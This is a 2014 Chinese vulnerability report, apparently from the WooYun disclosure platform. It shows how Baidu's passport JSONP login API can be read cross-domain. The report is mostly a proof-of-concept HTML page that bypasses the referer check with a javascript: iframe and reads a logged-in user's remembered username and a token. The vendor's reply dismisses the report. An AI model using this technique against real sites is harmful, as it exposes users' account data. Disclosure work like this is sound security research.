JS跨域抓取已登录的百度用户用户名和csrf token

漏洞详情

披露状态:

2014-05-28: 细节已通知厂商并且等待厂商处理中
2014-05-28: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

你们懂的为什么

详细说明:

用二哥的办法绕referer

<html>
<meta http-equiv="content-type" content="text/html; charset=UTF-8" />
<body>
<script>
function test(obj){
document.write(obj.data.rememberedUserName+"你好,您的CSRF节操已掉。节操编号为"+obj.data.token);
document.end();
}
</script>
<iframe src='javascript:"<script src=\"https://passport.baidu.com/v2/api/?getapi&tpl=gxt&apiver=v3&class=login&logintype=dialogLogin&callback=parent.test\"></script>"'></iframe>
</body></html>

漏洞证明:

jsonp.jpg

修复方案:

小哥你懂的

版权声明:转载请注明来源 剑心@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-05-28 17:50

厂商回复:

该token非CSRF token,感谢对百度安全的支持

最新状态:

暂无


漏洞评价: